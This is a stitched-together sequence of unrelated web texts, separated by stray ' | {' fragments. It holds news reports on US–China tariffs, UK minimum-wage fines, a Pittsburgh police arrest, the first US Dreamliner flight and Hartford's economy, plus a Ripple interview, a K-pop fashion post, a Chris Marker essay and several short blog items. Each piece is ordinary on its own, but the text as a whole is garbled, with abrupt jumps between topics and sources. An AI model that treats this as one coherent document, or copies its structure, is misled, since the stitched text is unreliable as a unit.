On Monday, stock market indexes in Tokyo and Shanghai were up 0.5 percent at midmorning.
Beijing faces complaints by Washington, the European Union and other trading partners that it hampers market access despite its free-trading pledges and is flooding global markets with improperly low-priced steel and aluminum. But the EU, Japan and other governments criticized Trump’s unilateral move as disruptive.
The United States buys little Chinese steel and aluminum following earlier tariff hikes to offset what Washington says is improper subsidies. Still, economists expected Beijing to respond to avoid looking weak in a high-profile dispute.
Effective Monday, Beijing raised tariffs on pork, aluminum scrap and some other products by 25 percent, the Finance Ministry said. A 15 percent tariff was imposed on apples, almonds and some other goods.
The tariff hike has “has seriously damaged our interests,” said a Finance Ministry statement.
“Our country advocates and supports the multilateral trading system,” said the statement. China’s tariff increase “is a proper measure adopted by our country using World Trade Organization rules to protect our interests.”
The White House didn’t respond to a message from The Associated Press on Sunday seeking comment.
China’s government said earlier its imports of those goods last year totaled $3 billion.
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The latest Chinese move targets farm areas, many of which voted for Trump in the 2016 presidential election.
U.S. farmers sent nearly $20 billion of goods to China in 2017. The American pork industry sent $1.1 billion in products, making China the No. 3 market for U.S. pork.
“American politicians better realize sooner rather than later that China would never submit if the U.S. launched a trade war,” said the Global Times, a newspaper published by the ruling Communist Party.
Washington granted EU, South Korea and some other exporters, but not ally Japan, exemptions to the steel and aluminum tariffs on March 22. European governments had threatened to retaliate by raising duties on American bourbon, peanut butter and other goods.
Beijing has yet to say how it might respond to Trump’s March 22 order approving possible tariff hikes in response to complaints China steals or pressures foreign companies to hand over technology.
Trump ordered U.S. trade officials to bring a WTO case challenging Chinese technology licensing. It proposed 25 percent tariffs on Chinese products including aerospace, communications technology and machinery and said Washington will step up restrictions on Chinese investment in key U.S. technology sectors.
Trump administration officials have identified as potential targets 1,300 product lines worth about $48 billion. That list will then be open to a 30-day comment period for businesses.
Beijing reported a trade surplus of $275.8 billion with the United States last year, or two-thirds of its global total. Washington reports different figures that put the gap at a record $375.2 billion.
___
Chinese Ministry of Commerce announcement (in Chinese with link to list of affected products): http://gss.mof.gov.cn/zhengwuxinxi/zhengcefabu/201804/t20180401_2857769.html | {
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Image copyright Purestock Image caption The National Living Wage rate is currently £7.20 for workers aged 25 and over
Seventeen Northern Ireland businesses - including a recruitment agency - have been "named and shamed" for underpaying workers.
They are among hundreds of employers recently fined by HM Revenue and Customs (HMRC).
The government said the list of 360 employers from across the UK "is the largest ever" record of companies that broke regulations on the national minimum or living wage.
It includes the retail giant Debenhams.
According to HMRC, the hairdressing, hospitality and retail sectors are "the most prolific offenders".
As well as recovering the arrears for workers, HMRC issues penalties to the offending businesses.
Image copyright Thinkstock Image caption HMRC said the hairdressing, hospitality and retail sectors were "the most prolific offenders"
A firm based in Portadown - WH Recruitment Limited - topped the list of Northern Ireland businesses which were fined. It failed to pay 143 workers a combined total of £26,418.
A spokesman for WH Recruitment told the BBC: "We are a registered agency and put our hands up. This was to do with the accommodation offset regulation."
BC Plant Limited, another of the companies fined by HMRC, told the BBC the discrepancy in payments was due to the difference in the overtime rates for apprentices and other employees: "The oversight concerned overtime payments to apprentices which were paid at a rate of time and a half of the minimum apprentice rate as opposed to time and a half of national minimum wage. This was an oversight and all employees involved were reimbursed immediately once the error came to light."
The National Living Wage rate is currently £7.20 for workers aged 25 and over.
The full list of Northern Ireland employers fined by HMRC is: | {
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A Decentralized monetary system for a Decentralized currency
Ripple is a fascinating monetary system lurking heavily around the world of decentralized currencies.
Here, is a screen cast on how Ripple works.
http://screenr.com/c5K
A well documented subject, I reached out to the founder of Ripple which is an open-community project founded in 2004.
http://ryanfugger.com/
Ben: Can Ripple and Bitcoin integrate?
Ryan: Sure, they can integrate in lots of ways. For example:
http://ripple-project.org/Protocol/BlockChainCommitMethod
There’s a discussion on the Bitcoin forums about Ripple being a good way to implement instant Bitcoin transactions.
https://bitcointalk.org/index.php?topic=3557.0
Ben: What plans do you have for Ripple over the next few years?
Ryan: I don’t know… I’d like to have a working distributed server implementation. Beyond that, I hope the idea catches on further and more people starting building systems like this.
Ben: Any thoughts on Decentralized currencies and networks growing in India?
Ryan: Ripple would be a great way to build a Hawala network:
https://en.wikipedia.org/wiki/Hawala
You can look at Ripple as Hawala with automated routing.
There is no API to Ripplepay yet and Ripple still has a few problems to solve. It has the strong potential to be a monetary system to work alongside Bitcoin. Similarities can be found in the PayPal exchange website Bitcoinary.com.
Links & Sources
Ripple Project Home Page
Ripple Project Screen Cast
Hawala Wiki
Bitcoin Forum Link
Block Chain Commit Method
Atomic Exchanges of Chain Coins
Bitcoinary.com
Ripple Project – Google Groups | {
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Mamamoo has recently dropped a new MV called “Hip” and fans are going gaga about the sick beats and cop-worthy outfits that these girls are wearing.
The common theme of their outfits screams fierceness and sassy street style. With a mix of glitter and glam on the side, the song title “Hip” fits the theme perfectly. Now, let’s take a look at what these ladies are wearing.
MAMAMOO’s ‘Hip’ MV Fashion
Hwasa and Wheein are definitely on fire in this printed turtle-neck long sleeves. Animal skin prints and graffiti prints are hip and on point.
Hwasa’s Look
Therapy Suit Fire $170 Buy from here Double Puff Pants Black $295 Buy from here Pins Therapy Suit Fire Double Puff Pants Black
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Wheein’s Look
Embroidered Velvet Animal Print Turtleneck $100 Buy from here Open Zipper Pants $92.12 Buy from here Vintage 1490 $160 Buy from here Pins Embroidered Velvet Animal Print Turtleneck Open Zipper Pants Vintage 1490
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Solar’s Look
Solar was sizzling in her deconstructed panty trousers, while still being glamorous.
Deconstructed Panty Trousers Black $201,60 Buy from here Pins Deconstructed Panty Trousers Black
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Moonbyul’s Look #1
Moonbyul was rocking this black bodysuit with a dragon print on the chest and fans are screaming!
Dragon Racing Bodysuit Red $122,08 Buy from here Acidity - Chain Pocket Jogger Pants $129.13 Buy from here 1490 10 Eye Boots $195 Buy from here Pins Dragon Racing Bodysuit Red Acidity - Chain Pocket Jogger Pants 1490 10 Eye Boots
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Moonbyul’s Look #2
Moonbyul’s second look leans more on the hip-hop side. Her NASA hoodie, along with her Nike Air Jordan’s made this scene epic and fabulous.
Printed Fleece-Back Cotton-Jersey Hoodie $520 Buy from here Air Jordan 1 Retro High OG Banned sneakers $335 Buy from here Pins Printed Fleece-Back Cotton-Jersey Hoodie Air Jordan 1 Retro High OG Banned sneakers
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Moonbyul’s Look #3
Zippered Hybrid Pants $76.48 Buy from here Pins Zippered Hybrid Pants
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Moonbyul’s Look #4
Tartan Tweed Sack Jacket $2,105 Buy from here 4-bar Stripe Cardigan $1,690 Buy from here Pins Tartan Tweed Sack Jacket 4-bar Stripe Cardigan
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United Airlines becomes first in U.S. to fly 'awesome' Dreamliner
Ben Mutzabaugh, USA TODAY | USATODAY
United Airlines flew into the aviation history books yesterday, becoming the first U.S. carrier to fly paying passengers on Boeing's new 787 Dreamliner.
The flight — United Flight 1116 — departed Houston Bush Intercontinental Airport at 7:20 a.m. CT before touching down at 9:47 a.m. CT in Chicago.
Aviation enthusiasts, United employees, journalists — and even a few regular passengers — were among those on the history-making flight.
Chicago resident and Today in the Sky reader Scott Shatzer was one of those aviation enthusiasts. Shatzer normally flies with American, where he's earned "Executive Platinum" elite frequent-flier status. But he says he couldn't pass up the opportunity to fly on the USA's first domestic Dreamliner flight, regardless of the airline.
"We were so excited, we all found it a bit difficult to sleep I believe so we were up and on the hotel shuttle van at 5 a.m.," says Shatzer, who traveled with seven other Chicago-area friends to be on United's 787 inaugural.
"It felt like we were kids going to Disney World for the first time, I guess," he tells Today in the Sky
"The plane is amazing," adds Kris Van Cleave of Washington, D.C., another aviation enthusiast who traveled to Houston just to be on the inaugural flight to Chicago.
"The flight was so much fun, it had a party atmosphere," Van Cleave, a reporter at Washington's WJLA ABC affiliate Channel 7, tells Today in the Sky. "(United CEO Jeff) Smisek must have talked to every passenger on the flight, people were out of their seats the entire flight — how the cabin crew managed to serve drinks and food is beyond me, but they did it with a smile."
The plane arrived in Chicago to a raucous welcoming ceremony at O'Hare, where a media throng and crowd of United employees were on hand to witness the spectacle.
The aircraft was given a water-cannon salute — a customary greeting or send-off for inaugural flights — as the Dreamliner pulled into Chicago O'Hare for the first time ever with paying passengers.
Chris Sloan of Miami, who maintains aviation enthusiast site Airchive.com and is a contributor for Airways Magazine, described the scene as the flight neared the terminal at O'Hare.
"These salutatory moments never get old as our 787 was given a bath from both sides of the jet," Sloan says of the watery greeting. "I deplaned right behind Jeff Smisek to a line of well-wishers and press. His remarks said it all: 'Awesome! Just Awesome!' "
Meanwhile, United CEO Smisek now hopes his airline can harness the positive momentum from the Dreamliner debut. That's after United's performance has suffered this year during its integration with Continental, a sometimes disjointed effort that has alienated some of the company's top-tier fliers.
"The reality is we were not reliable in June and July," Smisek told Bloomberg News during an in-flight interview on the inaugural to Chicago. "We lost some valuable customers. We're in the process of earning them back."
Stay tuned for updates, including full first-hand accounts from several Today in the Sky readers on the plane. Next update: By 4 p.m. ET. | {
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WEBVTT ALYSSA: JACKIE, IT'S STILLUNCLEAR WHAT PROMPTED PITTSBURGHPOLICE OFFICERS TO DO THIS.THE MAN WHO TOOK THE VIDEO SAYSANOTHER OFFICER TOLD HIM THATTHE MAN THEY HAD PINNED ON THEGROUND THREATENED TO KILL ONE OFTHE OFFICERS.HE BELIEVES THAT DOESN'T JUSTIFYWHAT THEY DID TO HIM.THE CELLPHONE VIDEO ONLY LASTSTEN SECONDS, BUT THE IMPACT STICKS WITH THEPEOPLE WHO WITNESSED IT.MR. TROTT: YOU HAD SOME PEOPLECRYING, PEOPLE BEGGING THEPOLICE TO STOP.IT WAS HONESTLY, REALLY JUSTMORTIFYING TO WATCH SOMEBODY DOTHAT TO ANOTHER PERSON.ALYSSA: DAMIAN TROTT WAS OUT INTHE SOUTH SIDE, CELEBRATING HISCOLLEGE GRADUATION.HE NOTICED THE COMMOTION GOINGON IN FRONT OF THE FLATS ONCARSON, SO HE WENT OVER TO SEEWHAT WAS GOING ON.MR. TROTT: THEY THREW A COUPLEKNEES AT HIM. THEY KICKED HIM INTHE FACE.IT WAS REALLY JUST BRUTAL TOWATCH.ALYSSA: TROTT TRIED TOINTERVENE, BUT HE SAYSPITTSBURGH POLICE OFFICERSTHREATENED TO ARREST HIM ANDTAKE HIS PHONE.MR. TROTT: YOU'RE SUPPOSED TOLOOK AT THESE PEOPLE TO PROTECTYOU, AND YOU SEE STUFF LIKE THISHAPPENING SO OFTEN, IT REALLY JUST BREAKS THAT TRUSTBARRIER BETWEEN CITIZENS AND LAWENFORCEMENT.ALYSSA: PITTSBURGH POLICE TELLPITTSBURGH'S ACTION NEWS 4 THEYARE LOOKING INTO THIS, BUTWOULDN'T COMMENT ANY FURTHER.TROTT BELIEVES THIS MANSHOULDN'T HAVE BEEN TREATED LIKETHIS.>> COME ON, MAN.MR. TROTT: I REALLY HATE TO SEETHIS TYPE OF STUFF HAPPENING.YOU KNOW, I'D REALLY LIKE TO SEESOMETHING DONE ABOUT IT, TOWHERE WE CAN WORK ON BETTERPOLICING, ESPECIALLY WITHIN THISCOMMUNITY AND ALL OVER THECOUNTRY.ALYSSA: DAMIAN SAYS FROM WHAT HESAW, THE MAN WASN'T COMBATIVE ORFIGHTING BACK.WE DID REACH OUT TO PITTSBURGHPOLICE TO TRY TO FIND OUT WHATLED UP TO ALL OF THIS.ALL THEY WOULD SAY TO THAT, TOUS, WAS THAT THEY HAVE TURNED
Advertisement Video of police officer kicking, knee-striking man on South Side under investigation Pittsburgh police say the Office of Municipal Investigations is reviewing the arrest of a man outside The Flats on Carson. A criminal complaint alleges that he threatened a security guard and a police officer. Share Shares Copy Link Copy
The violent arrest of a man accused of threatening a South Side bar security worker with a gun was recorded by a witness on East Carson Street and is under investigation. "You had some people crying, people begging the police to stop. It was really just mortifying to watch somebody do that to another person," Damian Trott said. Mayor Bill Peduto said he has asked the city's Office of Municipal Investigations to conduct "a thorough investigation" of the incident, which happened early Sunday morning, and Pittsburgh police are asking any witnesses to come forward. "We are aware that a bystander captured a portion of the incident on video and that will be taken into account," Peduto said Monday. "We also expect to review security footage from the site of the incident and surrounding establishments that might be available as well as any documentation and witness accounts of the incident." Trott said he was out celebrating his college graduation and he saw the commotion in front of The Flats on Carson around 2 a.m., so he went over to see what was happening. "They threw a couple knees at him," said Trott. "They kicked him in the face. It was really just brutal to watch." Trott tried to intervene, but he says Pittsburgh police officers threatened to arrest him and take his phone. Court paperwork identifies the man who was being arrested at the time as Nathan Stanley III, 26. According to the criminal complaint, Officer Raymond Toomey was working a security detail at The Flats when he was summoned by a bar security guard who said Stanley threatened him with a gun outside. Toomey wrote that Stanley -- identified as "John Doe" at the time -- had bloodshot, glassy eyes and a strong odor of alcohol on his breath. From the complaint: "I attempted to ascertain what this male's issue was and why he was threatening anyone, to which he immediately stated, '(Expletive) ya'II man, western Pennsylvania is racist as (expletive). That's why ya'II cops gettin shot.' I explained to the male that he had enough for the evening and to go home. At that point, he made a motion that resembled a gun being shot with his hand passed my head towards The Flats bar security and said, 'Don't worry I got somethin for ya'II.' I then told Doe that he was under arrest and to place his hands behind his back. Doe stated, '(Expletive) you, I don't have to do (expletive),' and began to reach towards his waistband area with his right hand and said 'I got somethin for you too.' Given the previous threats by Doe, his aggressive demeanor towards myself and bar security, and the manner in which he reached for his waistband area with his right hand, I greatly feared that an attack was imminent at the time and I did not know what Doe's capabilities were. I forcefully shoved Doe away from the bar while holding onto his right arm to attempt to handcuff him. Doe grabbed ahold of a sign on the sidewalk and used it to resist my actions of forcefully handcuffing him. I was unable to gain control of Doe's right wrist. Doe maintained a firm grasp on the sign with his left arm/hand and continued reaching toward his waistband area with his right hand. (The bar security worker) then attempted to aid me in handcuffing by attempting a rear shoulder pin that was unsuccessful. It should be noted that the above encounter to this point lasted approximately 10 seconds due to being tense, uncertain and rapidly evolving. Because of that, I was unable to utilize my portable radio and ask for more backup." Toomey wrote that Police Officer Welsh arrived at the scene to help him, but he still needed to use force to bring Stanley under control: "Due to Doe's actions of still actively resisting, and because Doe attempted to choke me around my neck area (fearing strangulation), I PO Toomey delivered two (2) closed fist punches to Doe's midsection and two (2) closed fist punches to Doe's face. Doe would still not let go of the sign so I was able to sweep Doe's legs with my arms and get him to the ground. Doe's arms now went underneath his body and stiffened up so thatofficers were unable to grab them for forcible handcuffing. I then delivered one (1) knee strike and one (1) kick to Doe's facial area out of fear that Doe's arms were underneath his body because he was still attempting to reach towards his waistband for a weapon. Officers shouted in clear, loud manners for Doe to stop resisting and place his hands behind his back. At this point, I was able to gain control of Doe's left arm and pull it forcefully from underneath his body and ready it for handcuffing. PO Welsh did the same with Doe's right arm/wrist and Doe was handcuffed by PO Welsh. Doe continued to scream profanities and encourage the crowd to cause violence towards Officers on scene to the point where a crowd began to form a semi-circle around PO Welsh and I. The sidewalk was now completely blocked causing a hazard for the general public due to Doe's actions." An online docket shows that Stanley is charged with felony aggravated assault and misdemeanor counts of terroristic threats, resisting arrest and disorderly conduct. Trott says he believes the man should not have been treated as he was. "I really hate to see this type of stuff happening," he said. "I would really like to see something done about it to where we can work on better policing, especially within this community and all over the country." | {
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MUBI's retrospective Chris Marker: An Essayist from the Future is showing July 29 - September 17, 2017 in many countries around the world.
Chris Marker’s work exists in the intersection of fiction and documentary, in a realm of elusiveness that trades in interrogation, not in confident statements. He refuses categorization but, almost spitefully, a category was created to encompass his work, a category that isn’t quite a genre.
In 1958, after watching Lettre de Sibérie(1957), André Bazin wrote that Marker’s first feature film resembles nothing hitherto seen in documentary films: “The important word is ‘essay,’ understood in the same sense that it has in literature – an essay at once historical and political, written by a poet as well. Generally, even in politically engaged documentaries or those with a specific point to make, the image (which is to say, the uniquely cinematic element) effectively constitutes the primary material of the film (…) with Marker it works quite differently. I would say that the primary material is intelligence, that its immediate means of expression is language, and that the image only intervenes in the third position, in reference to this verbal intelligence”. In 2017, the intelligence in his essay films still flows in the fringes of filmmaking.
His voice ebbs and drifts freely, parsed by music, poetry, animation, or moving images captured in film or video—he was one of the pioneers of digital manipulation. The words in his films are spoken by numerous narrators, whose voices, ever questioning of the cinematographic apparatus, shed light on his persona, at the same time they camouflage it with layers of languages, accents, tone and pitch.
With Letter from Marker I wanted to look at the voice of the mysterious man, as well as that of the filmmaker. In life, Marker shied away from the public eye. He captured hundreds of hours of footage, but kept himself well-hidden behind the machine that captured them. The words he spoke himself—as himself—are scarce. I perused through those available online and picked the ones that, in some way, told part of his story, at the same time they commented on the film I was making.
I made his words mine by taking advantage of the beautiful voice of Marta Pereira to bring them to life. In that way, I replaced his images with mine, his memories with mine, and used his immemory as the springboard for my own pilgrimage in time regained. | {
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Students at one of Scotland’s top universities have banned separate male and female toilets in a bid to tackle “gender policing”.
Edinburgh University students’ union says “trans people” are regularly harassed for being in the “wrong” toilet.
The solution is to ban male and female symbols from toilets and label them instead by their “contents” “stall and urinals” or “stalls only”.
Urinals will be kept to cater for women who want to wee standing up. And while a small number of toilets will remain men or women-only, toilets reserved for males will have to include a dispenser for sanitary products.
The change will be accompanied by the introduction of a zero-tolerance policy on “gendered harassment” and campaign to introduce gender-neutral loos in all Edinburgh University buildings.
Edinburgh University Students’ Association (EUSA), the body behind the plan, hit the headlines last week after it emerged they had introduced a fancy dress policy which banned Mexicans, gangsters, and camp people.
The latest policy was recently passed by students and means all single- occupancy and two-thirds of communal toilets will be immediately re-designated without alteration.
The policy states: “Gender-neutral toilets shall be clearly labelled and signposted, and absolutely must not use binary signage that would indicate ‘both men and women’ which is exclusionary and offensive to those who are neither.
“Toilets should instead be labelled by their contents, eg ‘stalls and urinals’, ‘stalls only’, ‘stalls, showers and changing facilities’ or iconography with equivalent indications.
“In venues where gendered or gender-neutral toilets are equipped with … condom or sanitary product dispensaries, such toilets should include both dispensaries.”
Student leaders “shall engage in campaigning with the university to re-designate two-thirds of bathrooms as gender neutral throughout all of the university facilities, ensuring that every building has at least one”.
EUSA claims that a survey conducted by the “liberation group” revealed that 82% of “trans and non-binary” students and staff said the university lacks appropriate facilities.
It adds: “Trans people are regularly harassed in bathrooms for being perceived as being in the wrong space.”
Having condom machines in male toilets only means “women and non-binary students … are required to misgender themselves and risk being outed”.
Explaining the decision to keep urinals in gender-neutral loos, the policy states: “There are non-binary students and women who may wish to stand to urinate, and as such the requirement that gender-neutral toilets contain no urinals leads to these students being disenfranchised.”
Student leaders will receive “Trans 101” training to educate themselves in appropriate terminology, says the policy.
Reaction at the university to the toilet plan was mixed. First-year student Gregor Dron, 18, said: “It’s just taking it too far. They want to be equal on everything, like ‘let’s have shared toilets’.”
Another first year, Ryan Walsh, said: “I think I would be fine with it but the changing rooms would kind of freak me out a bit. I don’t think I would be good with that.”
English student Lilly Trapp, 22, said: “I noticed when the signs went up and think it’s a good idea. In general, it’s a good way to make everyone comfortable.” | {
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A Capitol Hill family is celebrating 40 years of love and commitment with a gift for everybody. The Volunteer Park Conservatory will offer free admission for the holidays and to start 2019.
“We grew up walking to the Conservatory during my whole childhood, and I know my parents want everyone to be able to enjoy this beauty and peace,” Emmett Shear said in an announcement from Seattle Parks. “In their honor, I’m excited to be able to invite people to come for free to the Conservatory again.”
The free admission to the Conservatory begins Christmas Eve, December 24th, and runs through the end of February. A donation from the Bennett-Shear family and Shear, who leads the gaming entertainment company Twitch, as a gift from the children to celebrate their parents’ 40th wedding anniversary is making the treat possible.
The 107-year-old conservatory celebrated a “historically accurate” overhaul in 2014. The year before, the city began charging an admission fee to help cover costs at the facility that the city says draws around 90,000 visitors annually and requires about $450,000 a year to operate.
The Conservatory’s regular hours are Tuesday through Sunday, 10 AM to 4 PM — closed on Mondays except for the holidays. The Conservatory will be open on Christmas Eve, Christmas Day, New Year’s Eve and New Year’s Day, 10 AM – 3 PM. Regular admission will return starting March 1st: Adults $4; Youth $2; Kids under age 12 are always free.
The Conservatory’s Poinsettia and Holiday Train Display will be up and running through January 1st.
You can visit at 1400 E Galer inside Volunteer Park. Learn more at volunteerparkconservatory.org.
BECOME A 'PAY WHAT YOU CAN' CHS SUBSCRIBER TODAY: Support local journalism dedicated to your neighborhood. SUBSCRIBE HERE. Join to become a subscriber at $1/$5/$10 a month to help CHS provide community news with NO PAYWALL. You can also sign up for a one-time annual payment. | {
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"I think that the president is the one that’s keeping the world from chaos,” White House press secretary Sarah Huckabee Sanders said Friday. “He has an incredible team around him that’s helping him lead that effort.” | Evan Vucci/AP Photo White House: Trump is the one 'keeping the world from chaos'
President Donald Trump is “keeping the world from chaos,” White House press secretary Sarah Huckabee Sanders said Friday in a statement pushing back against Sen. Bob Corker's blunt assessment about the president's administration.
Corker (R-Tenn.), who chairs the Foreign Relations Committee and is not seeking reelection in 2018, told reporters this week that it’s Trump’s advisers — specifically Secretary of State Rex Tillerson, Defense Secretary Jim Mattis and chief of staff John Kelly — who “help separate our country from chaos.”
His comments followed a dramatic news conference Tillerson held Wednesday condemning an NBC News report that he had threatened to resign over the summer and called the president a “moron.” Tillerson notably didn’t deny the latter portion, but a State Department spokeswoman later suggested that the claim is untrue because Tillerson doesn’t use such language.
Asked about the comments from Corker, Sanders on Friday reminded the White House press corps at the daily briefing who’s in charge.
“Look, I think that the president is the one that’s keeping the world from chaos,” she said. “He has an incredible team around him that’s helping him lead that effort, and he’s had tremendous accomplishments on the international stage by working with allies and confronting enemies.”
“We’re gonna continue doing that,” she added. “We’re gonna continue doing that as a team with the president leading that effort.” | {
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About
Scott Keeney (born November 15, 1983), better known by his stage name DJ Skee, is an American artist, television host, radio personality, philanthropist and entrepreneur. Skee rose to fame as the first DJ to discover and play superstar artists on the radio including Kendrick Lamar, Justin Bieber, Akon, Lorde, and Lady Gaga amongst many others. Mark Cuban has called Skee the “Oprah Of Music”.
As a DJ, Skee has headlined festivals worldwide, hosted his own radio shows on Los Angeles’ KIIS-FM and Sirius XM Satellite Radio, and remixed music from various artists including Michael Jackson and Chris Cornell. Skee started in the music industry as a teenager and broke onto the scene working at Sony/Loud Records and Universal/SRC. He has also represented brands including Google, Beats Electronics, and AT&T on the marketing side.
In June 2015, Skee launched Dash Radio, which has become the biggest all original digital radio broadcast network in the world with 75+ stations powered by brands, artists, and celebrities including from Kylie Jenner to Snoop Dogg.
His business portfolio includes interests in various other businesses as an entrepreneur, advisor, and investor. As a writer, Skee is a contributor for TechCrunch, Re/Code, Forbes, Inc., XXL, The Verge, and other publications, often posting thought leadership articles centered around entertainment and technology.
Skee currently hosts “Skee TV” on Fuse, a weekly music series focusing on music and culture through interviews, live performances, and pre-recorded segments.
In late 2016, Skee produced the critically acclaimed documentary Sneakerheadz in a deal with Netflix.
In 2017, it was announced that Skee is producing the music, commercial, & soundtrack for Tom Clancy’s Ghost Recon: Wildlands video game, and featuring T.I., Belly, The Game, Nipsey Hussle, Young Thug, and more as a part of the project.
Skee was awarded a mayoral proclamation in his hometown of St. Paul, Minnesota declaring May 26 “DJ Skee Day.”
Skee is an active Philanthropist working with multiple organizations including the UN Foundation and GRAMMY Foundation.
Connect with SKEE
| {
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This is before she goes into a cocooon-state right?
Either way it looks really good.
To the contrary of what Yoven said, I think it looks much more mythical or mystical than gross, because of the blue color patches, the clothing and the mixed being not being very dangerous at first sight.
I do like it's pudgy legs though ^^ | {
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Dog parks are an oasis for millions of pet owners—pups can run around, interact with other dogs and get a taste of nature without having to head out of town on weekends.
Some careless dog owners, however, don't abide by dog park rules, or simple common decency, and leave their dogs' waste behind for others to clean up.
Well, a small town in Spain, reports the Telegraph, has decided to remedy the situation by mailing the discarded dog excrement back to the offending owners.
The paper reports that the town council of Brunete, located about 20 miles from Madrid, has undertaken a complex effort to crack down on the disrespectful dog owners. Twenty volunteers have been enlisted to approach dog owners who leave their pet’s poop behind, and to strike up a conversation with the goal of finding out the name of the dog.
"With the name of the dog and the breed it was possible to identify the owner from the registered pet database held in the town hall," a spokesman from the council told the Telegraph.
Once the owner’s address was confirmed, the dog poop is scooped up, placed in a box containing the town hall’s insignia and delivered via courier to the owner’s home. And to top it all off, the box is labeled, “Lost Property.”
So far, 147 boxes of dog excrement have been mailed in the town, which is home to about 10,000 residents. And it’s been effective: Brunete says unwarranted “dog drops” have declined by some 70 percent since the campaign began.
And the company that developed the approach free of charge even won the Sol de Plata award at the 2013 Ibero-American Advertising Festival.
"We told them we didn't have a penny to spend, but they found the idea so novel and exciting that they decided to work with us anyway," the spokesman told The Local. | {
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Plasma Propelled Rockets
Ad Astra Rocket Company thinks that a plasma engine could hypothetically get us to the Red Planet in 38 days, by traveling at a speed of 115,200 mph — contrary to the mainstream idea that massive rockets are the only way. NASA has supported the company’s plan by investing nine million dollars.
Franklin R. Chang Díaz, the CEO of Ad Astra and the man who co-holds the record for most visits to the International Space Station, plans to use plasma because it can be held in place magnetically, which means that more power can be produced because there is nothing for the fuel to melt. However, when in space, heating fuel to this temperature would require a nuclear power source — which is where this concept gets controversial.
Elon Musk, in particular, is critical of this plan on two fronts. First, attaching the weight of a nuclear reactor to a spacecraft, he thinks, is unfeasible. Secondly, he believes that using nuclear fuel on a spacecraft is dangerous because radioactive debris would fall back to Earth if the system failed.
The Cosmic Competition
Recently, Stephen Hawking added his voice to the choir of intellectuals and industry leaders proclaiming that humanity must become an interplanetary species. But with our ambition established, the question now becomes how to make it happen.
All other serious ideas of how to get to Mars propose using a chemical space rocket engine. NASA and SpaceX have both revealed plans that use enormous rockets which carry astronauts and all of their provisions including water, air, food, and machinery.
At the more theoretical end of the spectrum are plans to use technology that, previously, has been reserved for the realms of science fiction. Phillip Lubin has proposed using photon propulsion which, hypothetically, could get us to Mars in just three days.
The race for the red planet is well and truly on, and the winner of this 21st-century space race will be decided in the intellectual theater long before human boots touch Mars’ dusty surface. However, according to most estimates, we will only need to wait around a decade to find out. | {
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I was so excited to receive from my SS! My SS was awesome at sending me messages and all that jazz, so I was super excited to find this shiny purple package in my mailbox on Saturday! I would have taken a picture of it with all the socks inside, but I got too excited in the elevator and started opening it...
Inside were two awesome pairs of socks! One is a pair of socks that look like purple converse with laces and everything. The second is a pair of socks with a dinosaur/adorable godzilla running through a city (which reminds me of San Fransisco). I love them both, they're amazing! To top it off, the package was a Sock Gram and with each of the pair of socks was a little package of lotion that's scented with different flavors.
I just want to say thank-you so much mystery SS, it has been an absolute pleasure and I can't wait to go show off my socks :) | {
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Champaign, Ill. – University of Illinois Director of Athletics Josh Whitman announced Tuesday that Matt Bollant has been relieved of his duties as head women's basketball coach effective immediately.
Bollant averaged 12 wins per year during his five seasons at Illinois, compiling a 61-94 record overall and 22-62 in Big Ten play. He led the Fighting Illini to 19 wins and a tie for fifth place in the Big Ten in his first season in 2013 when his team advanced to the WNIT Quarterfinals. He is 343-149 in 15 seasons as a head coach, following stops at Bryan College and Wisconsin-Green Bay.
"I would like to thank Matt Bollant and his staff for their many contributions to Illinois Basketball during the last five years," Whitman said. "They have faced great adversity, both on and off the court, yet have greeted every day with unyielding optimism and unmatched effort. They have maintained the well-being and personal growth of the student-athletes under their charge as their foremost priority and have been exceptional ambassadors for Illinois Athletics in our community and in basketball circles across the country.
"Without question, the program is in a better place today than it was when they arrived. Our expectations for women's basketball, however, match those that we have for many of our other sport programs: to compete at the highest level, year in and year out. I am excited to embrace a future for Illinois Women's Basketball where we realize the program's full – and virtually unlimited – potential."
A national search for the next head coach will begin immediately.
Bollant has one year remaining on his contract and will receive the remaining balance of payment due, approximately $450,000. | {
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Feeling stressed? You’re not alone. According to a new survey, Honolulu is the most stressed city in the US. Career website Zippia examined nearly 200 cities across five criteria: commute time, unemployment, hours worked, percentage of those who are uninsured, and income to housing cost.
According to the survey, Honolulu residents spent an average of 29 minutes commuting. We have a 4% unemployment rate, we work an average of 39 hours per week, 29% of residents are uninsured, and we have a 12.51% income to housing cost. The least stressed city? Newport, Virginia | {
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BCG TV News Sally Phillips: The Rules Sally Phillips curates The Rules Sally Phillips is to host a new comedy about modern life
The Rules will see her and "resident rule-maker" Jayde Adams chatting with guests
They aim to establish a new set of rules "for 21st Century Britain to live by"
Sally Phillips is to host a new television comedy pilot.
Described as satirical, the programme - The Rules - will see Phillips and guests mull over various aspects of modern life. She will be joined by guests including Jayde Adams in the pilot, who will become her "resident rule-maker" if a full series is ordered.
The pilot is not intended for broadcast at this stage. Producers explain: "Together with her guests, Sally will curate a new set of rules for 21st Century Britain to live by.
"With Brexit on the horizon, Trump in the White House and Danny Dyer related to royalty, The Rules of Life have been shredded, set on fire and trodden on. This show aims to re-write some new ones, all of which will be inspired by recent news."
Each programme will see two additional guests joining Adams and Phillips, "all of whom will be bringing with them one Golden Rule that they believe we should all embrace".
It has yet to be revealed which broadcaster the show is being pitched at. The pilot episode will be recorded at RADA Studios in Central London on Thursday 24th May. Tickets are now available
For updates, click the buttons below.
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It's a capital on a winding, scenic river and it's among the world's elite cities in one key category. Jay-Z and Kanye West were once there too.
Nope, not Paris. We're talking about Hartford, the pride of Connecticut.
The capital of the nutmeg state has more economic activity per person than Geneva, Paris and basically the rest of the world's great cities, according to a new report by the Brookings Institution.
Only Zurich, Oslo and San Jose, California beat out Hartford.
Related: Most Innovative Cities
Hartford's GDP per capita, $76,510, placed fourth among the 300 cities in the report. Geneva ($74,580), Paris ($70,760) and others placed just below the Connecticut capital in Brookings' list.
Brookings used gross domestic product, a broad measure of economic activity, divided by a city's population as a key factor when it ranks metro areas for overall economic performance. GDP per capita is often thought of as a good gauge of the standard of living in a place.
Hartford is known as the insurance capital of the world. The insurance industry generates a lot of cash and does not require many workers, creating a high GDP per capita figure. Business and financial services, a broad jobs category that includes insurance, makes up almost 20% of employment in Hartford, but nearly half of the region's economy, according to Joe Parilla, an author of the Brookings report.
Related: Stressed Out Cities
"With only the 20% of the employment base, they're generating a ton of output," says Parilla. "We knew Hartford had this insurance niche that, in a way, is similar to how these other major financial hubs are participating in the economy."
But don't think everyone in Hartford is rolling in the dough.
